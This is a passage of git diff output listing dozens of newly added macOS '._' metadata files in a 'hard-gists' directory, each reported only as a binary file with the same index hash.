b/hard-gists/._b3e6f9b5d95af8ba2cc46f2ba6eae5e2 differ diff --git a/hard-gists/._b3f329868934710fbc81218ce1d6d722 b/hard-gists/._b3f329868934710fbc81218ce1d6d722 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b3f329868934710fbc81218ce1d6d722 differ diff --git a/hard-gists/._b3f8ab944a85b33e694de21c6ded029e b/hard-gists/._b3f8ab944a85b33e694de21c6ded029e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b3f8ab944a85b33e694de21c6ded029e differ diff --git a/hard-gists/._b45983f227f1e4fbea65b6e06abfdecc b/hard-gists/._b45983f227f1e4fbea65b6e06abfdecc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b45983f227f1e4fbea65b6e06abfdecc differ diff --git a/hard-gists/._b45d21224c4ea16bf4a72e2a03f741af b/hard-gists/._b45d21224c4ea16bf4a72e2a03f741af new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b45d21224c4ea16bf4a72e2a03f741af differ diff --git a/hard-gists/._b46119196c75d6ef20ff b/hard-gists/._b46119196c75d6ef20ff new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b46119196c75d6ef20ff differ diff --git a/hard-gists/._b470324dc5c81cef8ae24fd1d3fd4e59 b/hard-gists/._b470324dc5c81cef8ae24fd1d3fd4e59 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b470324dc5c81cef8ae24fd1d3fd4e59 differ diff --git a/hard-gists/._b48d48fc1b6eb080412129e596ab2193 b/hard-gists/._b48d48fc1b6eb080412129e596ab2193 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b48d48fc1b6eb080412129e596ab2193 differ diff --git a/hard-gists/._b492a548aa342ce0badfe1eed86ea5a4 b/hard-gists/._b492a548aa342ce0badfe1eed86ea5a4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b492a548aa342ce0badfe1eed86ea5a4 differ diff --git a/hard-gists/._b493a228c4081ff0260b b/hard-gists/._b493a228c4081ff0260b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b493a228c4081ff0260b differ diff --git a/hard-gists/._b4a0aed67fc0da6b02434a5c2cef45c4 b/hard-gists/._b4a0aed67fc0da6b02434a5c2cef45c4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b4a0aed67fc0da6b02434a5c2cef45c4 differ diff --git a/hard-gists/._b4afaf9648ec986928a9 b/hard-gists/._b4afaf9648ec986928a9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b4afaf9648ec986928a9 differ diff --git a/hard-gists/._b4ea0034839ccbc2aa03 b/hard-gists/._b4ea0034839ccbc2aa03 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b4ea0034839ccbc2aa03 differ diff --git a/hard-gists/._b53cc1e0482411e4b53d74bd12a485c1 b/hard-gists/._b53cc1e0482411e4b53d74bd12a485c1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b53cc1e0482411e4b53d74bd12a485c1 differ diff --git a/hard-gists/._b55de7edbcbc1ad46a28a0975c01a5cf b/hard-gists/._b55de7edbcbc1ad46a28a0975c01a5cf new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b55de7edbcbc1ad46a28a0975c01a5cf differ diff --git a/hard-gists/._b5952c36b36b877adcb0495163678675 b/hard-gists/._b5952c36b36b877adcb0495163678675 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b5952c36b36b877adcb0495163678675 differ diff --git a/hard-gists/._b59679e31dbdb01064d6bceb827ed88b b/hard-gists/._b59679e31dbdb01064d6bceb827ed88b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b59679e31dbdb01064d6bceb827ed88b differ diff --git a/hard-gists/._b5b2c4be45437992df58a7dd13dbafa7 b/hard-gists/._b5b2c4be45437992df58a7dd13dbafa7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b5b2c4be45437992df58a7dd13dbafa7 differ diff --git a/hard-gists/._b5d44b5c06172733d9edda4bcf9326b2 b/hard-gists/._b5d44b5c06172733d9edda4bcf9326b2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b5d44b5c06172733d9edda4bcf9326b2 differ diff --git a/hard-gists/._b5e7a80691ed5e44e7fea1964bae18dc b/hard-gists/._b5e7a80691ed5e44e7fea1964bae18dc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b5e7a80691ed5e44e7fea1964bae18dc differ diff --git a/hard-gists/._b6460d1e3da5044ffff235403d16fed2 b/hard-gists/._b6460d1e3da5044ffff235403d16fed2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b6460d1e3da5044ffff235403d16fed2 differ diff --git a/hard-gists/._b6e374d172bbe3e6130f6849e7bd6c13 b/hard-gists/._b6e374d172bbe3e6130f6849e7bd6c13 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b6e374d172bbe3e6130f6849e7bd6c13 differ diff --git a/hard-gists/._b71ed0e977e6d345bcb8 b/hard-gists/._b71ed0e977e6d345bcb8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b71ed0e977e6d345bcb8 differ diff --git a/hard-gists/._b72585771a9f606ad800 b/hard-gists/._b72585771a9f606ad800 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b72585771a9f606ad800 differ diff --git a/hard-gists/._b76261844db0255899ba857838a7c201 b/hard-gists/._b76261844db0255899ba857838a7c201 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b76261844db0255899ba857838a7c201 differ diff --git a/hard-gists/._b7beba6f962110596660 b/hard-gists/._b7beba6f962110596660 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b7beba6f962110596660 differ diff --git a/hard-gists/._b8240ea53d22e1bb4d32 b/hard-gists/._b8240ea53d22e1bb4d32 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b8240ea53d22e1bb4d32 differ diff --git a/hard-gists/._b82d70b0d581dc4609e4 b/hard-gists/._b82d70b0d581dc4609e4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b82d70b0d581dc4609e4 differ diff --git a/hard-gists/._b82da1cb8f3afe5ccb643f87e2f853b0 b/hard-gists/._b82da1cb8f3afe5ccb643f87e2f853b0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b82da1cb8f3afe5ccb643f87e2f853b0 differ diff --git a/hard-gists/._b8462a8a1cb69f55d8356cbb0f3a4d63 b/hard-gists/._b8462a8a1cb69f55d8356cbb0f3a4d63 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b8462a8a1cb69f55d8356cbb0f3a4d63 differ diff --git a/hard-gists/._b85fcfd4a0479810e6aa b/hard-gists/._b85fcfd4a0479810e6aa new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b85fcfd4a0479810e6aa differ diff --git a/hard-gists/._b87ffb502890909aea2eb449643d5bc7 b/hard-gists/._b87ffb502890909aea2eb449643d5bc7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b87ffb502890909aea2eb449643d5bc7 differ diff --git a/hard-gists/._b8a7b7be344e447e7ee6625fe2fdd765 b/hard-gists/._b8a7b7be344e447e7ee6625fe2fdd765 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b8a7b7be344e447e7ee6625fe2fdd765 differ diff --git a/hard-gists/._b9309cdd7d5adc3b4b70 b/hard-gists/._b9309cdd7d5adc3b4b70 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b9309cdd7d5adc3b4b70 differ diff --git a/hard-gists/._b95cb69fd1c82ca4c2ff b/hard-gists/._b95cb69fd1c82ca4c2ff new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b95cb69fd1c82ca4c2ff differ diff --git a/hard-gists/._b9768b4eefe679c988ce b/hard-gists/._b9768b4eefe679c988ce new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b9768b4eefe679c988ce differ diff --git a/hard-gists/._b9bc61a74e7cadeb1fec b/hard-gists/._b9bc61a74e7cadeb1fec new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b9bc61a74e7cadeb1fec differ diff --git a/hard-gists/._b9df49cfc1540bc8b896 b/hard-gists/._b9df49cfc1540bc8b896 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b9df49cfc1540bc8b896 differ diff --git a/hard-gists/._ba235b7e90aafb9986158697a457a0d0 b/hard-gists/._ba235b7e90aafb9986158697a457a0d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ba235b7e90aafb9986158697a457a0d0 differ diff --git a/hard-gists/._badd18a84b236c9e6c34057512cb569a b/hard-gists/._badd18a84b236c9e6c34057512cb569a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._badd18a84b236c9e6c34057512cb569a differ diff --git a/hard-gists/._baf42b089d71b94fd229 b/hard-gists/._baf42b089d71b94fd229 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._baf42b089d71b94fd229 differ diff --git a/hard-gists/._bb160e63686f517c93a937f46714dd03 b/hard-gists/._bb160e63686f517c93a937f46714dd03 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bb160e63686f517c93a937f46714dd03 differ diff --git a/hard-gists/._bb61c15139bff338cb17 b/hard-gists/._bb61c15139bff338cb17 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bb61c15139bff338cb17 differ diff --git a/hard-gists/._bb640cebefcc550f357c b/hard-gists/._bb640cebefcc550f357c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bb640cebefcc550f357c differ diff --git a/hard-gists/._bb85da3aa563b747151e b/hard-gists/._bb85da3aa563b747151e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bb85da3aa563b747151e differ diff --git a/hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27 b/hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27 differ diff --git a/hard-gists/._bbfa863f3fe4bb2163d94394d7b60899 b/hard-gists/._bbfa863f3fe4bb2163d94394d7b60899 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bbfa863f3fe4bb2163d94394d7b60899 differ diff --git a/hard-gists/._bbfc1f0b9d003bf08b26 b/hard-gists/._bbfc1f0b9d003bf08b26 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bbfc1f0b9d003bf08b26 differ diff --git a/hard-gists/._bc901de8b7e59cbeb190 b/hard-gists/._bc901de8b7e59cbeb190 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bc901de8b7e59cbeb190 differ diff --git a/hard-gists/._bca0daa0c3ca0ddb2c70 b/hard-gists/._bca0daa0c3ca0ddb2c70 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bca0daa0c3ca0ddb2c70 differ diff --git a/hard-gists/._bcc376fb336b73f24b29 b/hard-gists/._bcc376fb336b73f24b29 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bcc376fb336b73f24b29 differ diff --git a/hard-gists/._bcd8b4002b6cbf77dd89 b/hard-gists/._bcd8b4002b6cbf77dd89 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bcd8b4002b6cbf77dd89 differ diff --git a/hard-gists/._bce94f1c37215f644e0c b/hard-gists/._bce94f1c37215f644e0c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bce94f1c37215f644e0c differ diff --git a/hard-gists/._bce98c5c1688fc833475 b/hard-gists/._bce98c5c1688fc833475 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bce98c5c1688fc833475 differ diff --git a/hard-gists/._bd0940f7988774e2822d b/hard-gists/._bd0940f7988774e2822d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bd0940f7988774e2822d differ diff --git a/hard-gists/._bd2d6c2271e42ed97b97 b/hard-gists/._bd2d6c2271e42ed97b97 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bd2d6c2271e42ed97b97 differ diff --git a/hard-gists/._bd57b54a5c6903e4a6a2 b/hard-gists/._bd57b54a5c6903e4a6a2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bd57b54a5c6903e4a6a2 differ diff --git a/hard-gists/._bdb31b04fb1e69fa5346 b/hard-gists/._bdb31b04fb1e69fa5346 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bdb31b04fb1e69fa5346 differ diff --git a/hard-gists/._be6123c7ee3b366e333a b/hard-gists/._be6123c7ee3b366e333a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._be6123c7ee3b366e333a differ diff --git a/hard-gists/._be7e84c9d61c4869e981 b/hard-gists/._be7e84c9d61c4869e981 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._be7e84c9d61c4869e981 differ diff --git a/hard-gists/._bf576ee091e75071bc66 b/hard-gists/._bf576ee091e75071bc66 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bf576ee091e75071bc66 differ diff --git a/hard-gists/._bfb45408d43986eefdf83b59bc9e8629 b/hard-gists/._bfb45408d43986eefdf83b59bc9e8629 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bfb45408d43986eefdf83b59bc9e8629 differ diff --git a/hard-gists/._bfc2099235ac96937f34 b/hard-gists/._bfc2099235ac96937f34 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._bfc2099235ac96937f34 differ diff --git a/hard-gists/._c01b65369b71c35431c8 b/hard-gists/._c01b65369b71c35431c8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c01b65369b71c35431c8 differ diff --git a/hard-gists/._c063bddb9b8d17a037695d748db4f592 b/hard-gists/._c063bddb9b8d17a037695d748db4f592 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c063bddb9b8d17a037695d748db4f592 differ diff --git a/hard-gists/._c078cabc0a48f2570028bff397a9e154 b/hard-gists/._c078cabc0a48f2570028bff397a9e154 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c078cabc0a48f2570028bff397a9e154 differ diff --git a/hard-gists/._c0fdb29ddf0d338bcbd021b68f5bea51 b/hard-gists/._c0fdb29ddf0d338bcbd021b68f5bea51 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c0fdb29ddf0d338bcbd021b68f5bea51 differ diff --git a/hard-gists/._c12be33cdcd9a86f20a2 b/hard-gists/._c12be33cdcd9a86f20a2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c12be33cdcd9a86f20a2 differ diff --git a/hard-gists/._c18130768ac0ef0345947c5aa0827b65 b/hard-gists/._c18130768ac0ef0345947c5aa0827b65 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c18130768ac0ef0345947c5aa0827b65 differ diff --git a/hard-gists/._c18bfe4fd96008ffa0aef25001a2e88f b/hard-gists/._c18bfe4fd96008ffa0aef25001a2e88f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c18bfe4fd96008ffa0aef25001a2e88f differ diff --git a/hard-gists/._c1adfdb0f526465c99409cc143dea97b b/hard-gists/._c1adfdb0f526465c99409cc143dea97b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c1adfdb0f526465c99409cc143dea97b differ diff --git a/hard-gists/._c211c1af232974f00564 b/hard-gists/._c211c1af232974f00564 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c211c1af232974f00564 differ diff --git a/hard-gists/._c233b0d25c5fbe008d9477bc1b2d234c b/hard-gists/._c233b0d25c5fbe008d9477bc1b2d234c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c233b0d25c5fbe008d9477bc1b2d234c differ diff --git a/hard-gists/._c26b2dd5c2bdeaf6d7479a68bd7023bb b/hard-gists/._c26b2dd5c2bdeaf6d7479a68bd7023bb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c26b2dd5c2bdeaf6d7479a68bd7023bb differ diff --git a/hard-gists/._c28329f12711a914c7a8cbe6eeb947c0 b/hard-gists/._c28329f12711a914c7a8cbe6eeb947c0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c28329f12711a914c7a8cbe6eeb947c0 differ diff --git a/hard-gists/._c2b2943ead94c200574a b/hard-gists/._c2b2943ead94c200574a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c2b2943ead94c200574a differ diff --git a/hard-gists/._c2cf8d8aee3eb70668bd b/hard-gists/._c2cf8d8aee3eb70668bd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c2cf8d8aee3eb70668bd differ diff --git a/hard-gists/._c2d24fe340a7f3cf76d2 b/hard-gists/._c2d24fe340a7f3cf76d2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c2d24fe340a7f3cf76d2 differ diff --git a/hard-gists/._c2dfe5772ba3cd16c1be17ba42b7db66 b/hard-gists/._c2dfe5772ba3cd16c1be17ba42b7db66 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c2dfe5772ba3cd16c1be17ba42b7db66 differ diff --git a/hard-gists/._c3124826a3c49ddda6999acb40ad2c27 b/hard-gists/._c3124826a3c49ddda6999acb40ad2c27 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c3124826a3c49ddda6999acb40ad2c27 differ diff --git a/hard-gists/._c344f114e1579a29e163 b/hard-gists/._c344f114e1579a29e163 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c344f114e1579a29e163 differ diff --git a/hard-gists/._c362f0ad488e3b289394 b/hard-gists/._c362f0ad488e3b289394 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c362f0ad488e3b289394 differ diff --git a/hard-gists/._c3a540563e0774489ceafb3156b318a2 b/hard-gists/._c3a540563e0774489ceafb3156b318a2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c3a540563e0774489ceafb3156b318a2 differ diff --git a/hard-gists/._c3c474a04d7c0cd8ddeb b/hard-gists/._c3c474a04d7c0cd8ddeb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c3c474a04d7c0cd8ddeb differ diff --git a/hard-gists/._c42d76db2ad2e87a5086 b/hard-gists/._c42d76db2ad2e87a5086 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c42d76db2ad2e87a5086 differ diff --git a/hard-gists/._c4329fa17f1b3f287341 b/hard-gists/._c4329fa17f1b3f287341 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c4329fa17f1b3f287341 differ diff --git a/hard-gists/._c4602c23783d894b8d96 b/hard-gists/._c4602c23783d894b8d96 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c4602c23783d894b8d96 differ diff --git a/hard-gists/._c47824c116e6a61a56d9 b/hard-gists/._c47824c116e6a61a56d9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c47824c116e6a61a56d9 differ diff --git a/hard-gists/._c4806c504e46e8cdb00a b/hard-gists/._c4806c504e46e8cdb00a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c4806c504e46e8cdb00a differ diff --git a/hard-gists/._c4b999517b713adb6480a349bb6d7658 b/hard-gists/._c4b999517b713adb6480a349bb6d7658 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c4b999517b713adb6480a349bb6d7658 differ diff --git a/hard-gists/._c503014bbb03088bec37a61231036461 b/hard-gists/._c503014bbb03088bec37a61231036461 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c503014bbb03088bec37a61231036461 differ diff --git a/hard-gists/._c577716bd2f15b9ca330b15443e8bfbe b/hard-gists/._c577716bd2f15b9ca330b15443e8bfbe new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c577716bd2f15b9ca330b15443e8bfbe differ diff --git a/hard-gists/._c591cab03c66780b18d5 b/hard-gists/._c591cab03c66780b18d5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c591cab03c66780b18d5 differ diff --git a/hard-gists/._c5af642cf217971d93f499e8f70fcb72 b/hard-gists/._c5af642cf217971d93f499e8f70fcb72 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c5af642cf217971d93f499e8f70fcb72 differ diff --git a/hard-gists/._c5afa16b07747b113808 b/hard-gists/._c5afa16b07747b113808 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c5afa16b07747b113808 differ diff --git a/hard-gists/._c5ead2b72b2be03eb0ca b/hard-gists/._c5ead2b72b2be03eb0ca new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c5ead2b72b2be03eb0ca differ diff --git a/hard-gists/._c613bd0fad5de00bab2e b/hard-gists/._c613bd0fad5de00bab2e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c613bd0fad5de00bab2e differ diff --git a/hard-gists/._c648d753e7d0176ff172 b/hard-gists/._c648d753e7d0176ff172 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c648d753e7d0176ff172 differ diff --git a/hard-gists/._c67039252268ec5e66ba b/hard-gists/._c67039252268ec5e66ba new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c67039252268ec5e66ba differ diff --git a/hard-gists/._c6936d219db8e6635d25 b/hard-gists/._c6936d219db8e6635d25 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c6936d219db8e6635d25 differ diff --git a/hard-gists/._c6b3e4d47d933b057aab32c9c29c4221 b/hard-gists/._c6b3e4d47d933b057aab32c9c29c4221 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c6b3e4d47d933b057aab32c9c29c4221 differ diff --git a/hard-gists/._c70fb69eef42d40bed06 b/hard-gists/._c70fb69eef42d40bed06 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c70fb69eef42d40bed06 differ diff --git a/hard-gists/._c71f241125ed879d4af7 b/hard-gists/._c71f241125ed879d4af7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c71f241125ed879d4af7 differ diff --git a/hard-gists/._c781881856b30cacef36 b/hard-gists/._c781881856b30cacef36 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c781881856b30cacef36 differ diff --git a/hard-gists/._c7a2333c227e24226808 b/hard-gists/._c7a2333c227e24226808 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c7a2333c227e24226808 differ diff --git a/hard-gists/._c7a37230842f82fc51eaecf855fbf7ab b/hard-gists/._c7a37230842f82fc51eaecf855fbf7ab new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c7a37230842f82fc51eaecf855fbf7ab differ diff --git a/hard-gists/._c7dd1262bd81a32663f0 b/hard-gists/._c7dd1262bd81a32663f0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c7dd1262bd81a32663f0 differ diff --git a/hard-gists/._c7e9a91256c9c5db1676aa3c240531cf b/hard-gists/._c7e9a91256c9c5db1676aa3c240531cf new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c7e9a91256c9c5db1676aa3c240531cf differ diff --git a/hard-gists/._c7ec9a30052127c7a1ad169eeb83f159 b/hard-gists/._c7ec9a30052127c7a1ad169eeb83f159 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c7ec9a30052127c7a1ad169eeb83f159 differ diff --git a/hard-gists/._c80e24454ee353d3c123 b/hard-gists/._c80e24454ee353d3c123 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c80e24454ee353d3c123 differ diff --git a/hard-gists/._c84643e4d13818fc5a35a8de888126bb b/hard-gists/._c84643e4d13818fc5a35a8de888126bb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c84643e4d13818fc5a35a8de888126bb differ diff --git a/hard-gists/._c87011a445135417c114960bbc187618 b/hard-gists/._c87011a445135417c114960bbc187618 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c87011a445135417c114960bbc187618 differ diff --git a/hard-gists/._c87cc706625b8a54e604fb1024106556 b/hard-gists/._c87cc706625b8a54e604fb1024106556 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c87cc706625b8a54e604fb1024106556 differ diff --git a/hard-gists/._c8a451502958fa367d84bf038081ee4b b/hard-gists/._c8a451502958fa367d84bf038081ee4b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c8a451502958fa367d84bf038081ee4b differ diff --git a/hard-gists/._c8b3fb31c1552ecbaafb b/hard-gists/._c8b3fb31c1552ecbaafb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c8b3fb31c1552ecbaafb differ diff --git a/hard-gists/._c8d1caabaf7b43317bc8825c226045d2 b/hard-gists/._c8d1caabaf7b43317bc8825c226045d2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c8d1caabaf7b43317bc8825c226045d2 differ diff --git a/hard-gists/._c8e62ef8cb9515d64df4 b/hard-gists/._c8e62ef8cb9515d64df4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c8e62ef8cb9515d64df4 differ diff --git a/hard-gists/._c8eb9d0938584a277f90 b/hard-gists/._c8eb9d0938584a277f90 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c8eb9d0938584a277f90 differ diff --git a/hard-gists/._c91859ed22e4dda11d36 b/hard-gists/._c91859ed22e4dda11d36 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c91859ed22e4dda11d36 differ diff --git a/hard-gists/._c92066d9d38b236a21d5a7b729a10f12 b/hard-gists/._c92066d9d38b236a21d5a7b729a10f12 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c92066d9d38b236a21d5a7b729a10f12 differ diff --git a/hard-gists/._c9248a239bbab0e0d42e b/hard-gists/._c9248a239bbab0e0d42e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c9248a239bbab0e0d42e differ diff --git a/hard-gists/._c943835a9742f5021eeb b/hard-gists/._c943835a9742f5021eeb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c943835a9742f5021eeb differ diff --git a/hard-gists/._c9792757a9fc02d01408bf30855d412f b/hard-gists/._c9792757a9fc02d01408bf30855d412f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c9792757a9fc02d01408bf30855d412f differ diff --git a/hard-gists/._c97fe158082000ae06ad624527433de6 b/hard-gists/._c97fe158082000ae06ad624527433de6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c97fe158082000ae06ad624527433de6 differ diff --git a/hard-gists/._c9f42c81c53b276b6560 b/hard-gists/._c9f42c81c53b276b6560 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._c9f42c81c53b276b6560 differ diff --git a/hard-gists/._ca6ed07e5c8017272701 b/hard-gists/._ca6ed07e5c8017272701 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ca6ed07e5c8017272701 differ diff --git a/hard-gists/._ca851e39229551208c0d b/hard-gists/._ca851e39229551208c0d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ca851e39229551208c0d differ diff --git a/hard-gists/._ca8f71e38ad12ff157b34d5425d50ec7 b/hard-gists/._ca8f71e38ad12ff157b34d5425d50ec7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ca8f71e38ad12ff157b34d5425d50ec7 differ diff --git a/hard-gists/._ca92b42f1f796763e5d1f8cd73247a30 b/hard-gists/._ca92b42f1f796763e5d1f8cd73247a30 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ca92b42f1f796763e5d1f8cd73247a30 differ diff --git a/hard-gists/._caaf6087162f1c6361571ee489da260f b/hard-gists/._caaf6087162f1c6361571ee489da260f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._caaf6087162f1c6361571ee489da260f differ diff --git a/hard-gists/._cad6d3d223fc8d769227 b/hard-gists/._cad6d3d223fc8d769227 new file 